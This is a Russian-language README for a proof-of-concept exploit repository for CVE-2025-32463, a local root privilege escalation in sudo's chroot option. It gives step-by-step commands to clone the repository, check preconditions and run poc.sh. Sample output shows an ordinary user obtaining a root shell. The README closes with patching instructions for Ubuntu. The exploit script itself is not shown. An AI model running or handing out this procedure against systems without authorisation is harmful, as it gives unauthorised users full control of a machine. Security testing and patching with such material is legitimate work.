CVE-2025-32463 – Эксплойт повышения привилегий в Sudo (PoC) с предкомпилированной библиотекой

Этот репозиторий содержит proof-of-concept (PoC) эксплойт для CVE-2025-32463 — локальной уязвимости повышения привилегий в sudo, обнаруженной Ричем Мирчем (Rich Mirch).

Авторство

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ Отказ от ответственности

Данный PoC предназначен только для образовательных целей и авторизованного тестирования. Не используйте этот код на системах, которыми вы не владеете или на проверку которых у вас нет явного разрешения.

🔧 Требования

sudo с поддержкой chroot (-R): версии с 1.9.14 по 1.9.17
включённый nsswitch

🚀 Как запустить PoC

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

Проверьте, что текущий пользователь имеет низкие привилегии

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

Проверьте требования

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

Запустите эксплойт

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 Устранение уязвимости на Ubuntu 24.04 LTS

Для подключённых к сети систем просто выполните
```
sudo apt update && sudo apt upgrade
```
Для изолированных (air-gapped) систем: последний пакет sudo можно получить здесь: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. После переноса пакета на целевую систему просто выполните:
```
 sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb
```

CVE-2025-32463